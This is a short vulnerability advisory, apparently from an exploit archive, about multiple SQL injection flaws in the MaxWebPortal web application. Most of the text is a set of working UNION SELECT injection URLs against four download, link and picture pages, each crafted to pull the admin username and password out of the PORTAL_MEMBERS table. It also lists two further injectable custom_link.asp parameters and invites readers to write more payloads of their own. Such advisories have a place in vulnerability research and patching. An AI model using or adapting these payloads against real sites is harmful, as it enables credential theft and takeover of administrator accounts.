|
MaxWebPortal Multiple SQL Injection Vulnerabilities
No exploit is required. The following examples are available: Get Username=Admin password: (if I didn't write some of them, you can make them easily by yourself!) ---------------- Dl_Popular.asp?40 DL_ID,Hit,DESCRIPTION,NAME,POST_DATE,1,1,1,1,1,1,1 FROM DL union select m_username,m_password,1,1,1,1,1,1,1,1,1,1 from PORTAL_MEMBERS where m_username='admin' union select --------------- Links_Popular.asp?10 LINK_ID,Hit,DESCRIPTION,NAME,POST_DATE,banner_url,1,1,1,1,1,1,1 FROM LINKS union select m_username,m_password,1,1,1,1,1,1,1,1,1,1,1 from PORTAL_MEMBERS where m_username='admin' union select -------------- pics_popular.asp?10 LINK_ID, HIT,NAME, URL, KEYWORD, DESCRIPTION, EMAIL, POST_DATE, BANNER_URL, CATEGORY, PARENT_ID, SHOW, BADLINK FROM pic union select m_username,m_password,1,1,1,1,1,1,1 from PORTAL_MEMBERS where m_username='admin' union select ------------- dl_toprated.asp?10 RATING,Votes,DESCRIPTION,NAME,POST_DATE,1,1,1,1,1,1,1 FROM DL union select m_username,m_password,1,1,1,1,1,1,1,1,1,1 from PORTAL_MEMBERS where m_username='admin' union select some another Sql injections are: custom_link.asp?method=Topic&TOPIC_ID=[Sql inject] custom_link.asp?method=Forum&Forum_ID=[Sql inject] |
|
 Privacy Statement |
